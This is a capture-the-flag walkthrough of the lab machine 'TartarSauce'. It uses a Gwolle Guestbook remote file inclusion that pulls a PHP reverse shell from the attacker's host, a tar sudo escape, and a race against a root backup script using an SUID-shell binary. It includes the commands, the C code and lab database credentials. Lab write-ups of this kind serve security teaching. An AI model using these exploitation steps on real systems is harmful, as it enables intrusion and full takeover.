TartarSauce
Gaining Access
Nmap scan:
$ nmap -p- --min-rate 5000 10.129.1.185
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-02 10:29 EDT
Nmap scan report for 10.129.1.185
Host is up (0.016s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT STATE SERVICE
80/tcp open http
Directory Enumeration
The web page only shows this:

I checked for robots.txt
, which is quite common for old machines.
$ curl http://10.129.1.185/robots.txt
User-agent: *
Disallow: /webservices/tar/tar/source/
Disallow: /webservices/monstra-3.0.4/
Disallow: /webservices/easy-file-uploader/
Disallow: /webservices/developmental/
Disallow: /webservices/phpmyadmin/
Seems like there are a lot of different services being run here. I ran a gobuster
scan on the /webservices
directory still, in case I missed anything.
$ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u http://10.129.1.185/webservices -t 100
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.129.1.185/webservices
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.3
[+] Timeout: 10s
===============================================================
2023/05/02 10:34:16 Starting gobuster in directory enumeration mode
===============================================================
/wp (Status: 301) [Size: 321] [-> http://10.129.1.185/webservices/wp/]
It seems that robots.txt
left this Wordpress site out. Let's investigate that first then.
Wordpress
This was a basic Wordpress site with nothing on it. We can run a wpscan
with the API token to enumerate all the plugins, themes and what not. There are some plugins that are vulnerable:
$ wpscan --api-token <TOKEN> --url http://10.129.1.185/webservices/wp/ --enumerate p,t,u --plugins-detection aggressive
[+] akismet
| Location: http://10.129.85.106/webservices/wp/wp-content/plugins/akismet/
| Last Updated: 2023-04-05T10:17:00.000Z
| Readme: http://10.129.85.106/webservices/wp/wp-content/plugins/akismet/readme.txt
| [!] The version is out of date, the latest version is 5.1
|
| Found By: Known Locations (Aggressive Detection)
| - http://10.129.85.106/webservices/wp/wp-content/plugins/akismet/, status: 200
|
| Version: 4.0.3 (100% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://10.129.85.106/webservices/wp/wp-content/plugins/akismet/readme.txt
| Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
| - http://10.129.85.106/webservices/wp/wp-content/plugins/akismet/readme.txt
[+] gwolle-gb
| Location: http://10.129.85.106/webservices/wp/wp-content/plugins/gwolle-gb/
| Last Updated: 2023-03-24T11:05:00.000Z
| Readme: http://10.129.85.106/webservices/wp/wp-content/plugins/gwolle-gb/readme.txt
| [!] The version is out of date, the latest version is 4.5.0
|
| Found By: Known Locations (Aggressive Detection)
| - http://10.129.85.106/webservices/wp/wp-content/plugins/gwolle-gb/, status: 200
|
| [!] 2 vulnerabilities identified:
|
| [!] Title: Gwolle Guestbook <= 2.5.3 - Cross-Site Scripting (XSS)
| Fixed in: 2.5.4
| References:
| - https://wpscan.com/vulnerability/00c33bf2-1527-4276-a470-a21da5929566
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-17884
| - https://seclists.org/fulldisclosure/2018/Jul/89
| - https://www.defensecode.com/advisories/DC-2018-05-008_WordPress_Gwolle_Guestbook_Plugin_Advisory.pdf
| - https://plugins.trac.wordpress.org/changeset/1888023/gwolle-gb
|
| [!] Title: Gwolle Guestbook < 4.2.0 - Reflected Cross-Site Scripting
| Fixed in: 4.2.0
| References:
| - https://wpscan.com/vulnerability/e50bcb39-9a01-433f-81b3-fd4018672b85
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24980
|
| Version: 2.3.10 (100% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://10.129.85.106/webservices/wp/wp-content/plugins/gwolle-gb/readme.txt
| Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
| - http://10.129.85.106/webservices/wp/wp-content/plugins/gwolle-gb/readme.txt
We can search for exploits for these two plugins.
$ searchsploit gwolle
----------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------- ---------------------------------
WordPress Plugin Gwolle Guestbook 1.5.3 - Remote File Incl | php/webapps/38861.txt
----------------------------------------------------------- ---------------------------------
Shellcodes: No Results
There was only this to exploit, so let's try it. This exploit works by accessing this link for an RFI:
http://[host]/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://[hackers_website]
We can grab a PHP reverse shell from PentestMonkey and rename it to wp-load.php
and use this RFI to execute it.
$ curl http://10.129.85.109/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.14.13/

Privilege Escalation
SQL Creds
Now that we have access, we can take a look at the wp-config.php
file to find some DB credentials:
define('DB_NAME', 'wp');
/** MySQL database username */
define('DB_USER', 'wpuser');
/** MySQL database password */
define('DB_PASSWORD', 'w0rdpr3$$d@t@b@$3@cc3$$');
/** MySQL hostname */
define('DB_HOST', 'localhost');
/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8');
/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');
However, the database has nothing to offer and the hashed passwords cannot be cracked.
Sudo Privileges
Checking sudo
privileges, it seems we can run tar
as the user onuma
.
www-data@TartarSauce:/var/www/html/webservices/wp$ sudo -l
Matching Defaults entries for www-data on TartarSauce:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on TartarSauce:
(onuma) NOPASSWD: /bin/tar
From GTFOBins, we can use this command to get a shell as the user:
sudo -u onuma tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

We can now grab the user flag.
Backuperer
I ran LinPEAS to enumerate further for me, which found a few possible leads but it all led to dead ends. I then ran pspy32
to double check on processes by all users. This was when I saw this process:
2023/05/02 11:14:41 CMD: UID=0 PID=23714 | /bin/bash /usr/sbin/backuperer
2023/05/02 11:14:41 CMD: UID=0 PID=23719 | /bin/sleep 30
There's a program backuperer
being run by root
periodically. This was actually a bash
script, and here's its contents:
onuma@TartarSauce:/tmp$ cat /usr/sbin/backuperer
#!/bin/bash
#-------------------------------------------------------------------------------------
# backuperer ver 1.0.2 - by ȜӎŗgͷͼȜ
# ONUMA Dev auto backup program
# This tool will keep our webapp backed up incase another skiddie defaces us again.
# We will be able to quickly restore from a backup in seconds ;P
#-------------------------------------------------------------------------------------
# Set Vars Here
basedir=/var/www/html
bkpdir=/var/backups
tmpdir=/var/tmp
testmsg=$bkpdir/onuma_backup_test.txt
errormsg=$bkpdir/onuma_backup_error.txt
tmpfile=$tmpdir/.$(/usr/bin/head -c100 /dev/urandom |sha1sum|cut -d' ' -f1)
check=$tmpdir/check
# formatting
printbdr()
{
for n in $(seq 72);
do /usr/bin/printf $"-";
done
}
bdr=$(printbdr)
# Added a test file to let us see when the last backup was run
/usr/bin/printf $"$bdr\nAuto backup backuperer backup last ran at : $(/bin/date)\n$bdr\n" > $testmsg
# Cleanup from last time.
/bin/rm -rf $tmpdir/.* $check
# Backup onuma website dev files.
/usr/bin/sudo -u onuma /bin/tar -zcvf $tmpfile $basedir &
# Added delay to wait for backup to complete if large files get added.
/bin/sleep 30
# Test the backup integrity
integrity_chk()
{
/usr/bin/diff -r $basedir $check$basedir
}
/bin/mkdir $check
/bin/tar -zxvf $tmpfile -C $check
if [[ $(integrity_chk) ]]
then
# Report errors so the dev can investigate the issue.
/usr/bin/printf $"$bdr\nIntegrity Check Error in backup last ran : $(/bin/date)\n$bdr\n$tmpfile\n" >> $errormsg
integrity_chk >> $errormsg
exit 2
else
# Clean up and save archive to the bkpdir.
/bin/mv $tmpfile $bkpdir/onuma-www-dev.bak
/bin/rm -rf $check .*
exit 0
fi
This script, as the name suggests, backups the /var/www/html
directory via tar
, and the weird part is that the root
user uses tar as onama
then it has a sleep
function for whatever reason before the file is deleted. This means that the file is left there for us to alter.
So, what we can do is create a tar
file that has sn SUID binary for us. This works because tar
files preserve the permission they have been given, so an SUID binary by root
on my machine would be the same on the other machine. We just need to slot it within the time frame.
First, create an SUID binary using some C code:
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main (void){
setuid(0);
setgid(0);
system("/bin/bash");
}
Afterwards, we can compile this and make it an SUID binary.
gcc -m32 -o suid suid.c
sudo chown root.root -R /tmp/var
sudo chmod 4755 suid
sudo rm suid.c
Then, move this into /tmp/var/www/html
and tar
the entire folder.
$ tar -zcvf suid.tar.gz var/
var/
var/www/
var/www/html/
var/www/html/suid
Transfer this to the victim machine. Afterwards, head to the /var/tmp
folder and wait for the backup file to appear. It should be something like .e105819...
. Then we just need to copy the contents of our malicious tar
file, overwriting the original backup file.
cp /tmp/suid.tar.gz .25388a3009d9ee5b7ae704e609c726e46647f748
Then, we can view the /var/tmp/check/var/www/html
folder to find our SUID binary:
onuma@TartarSauce:/var/tmp/check/var/www/html$ ls -la
total 24
drwxr-xr-x 2 onuma onuma 4096 May 2 11:33 .
drwxr-xr-x 3 onuma onuma 4096 May 2 11:30 ..
-rwsr-xr-x 1 root root 15020 May 2 11:32 suid
Then just execute it and it we would get a root
shell. Rooted!
Last updated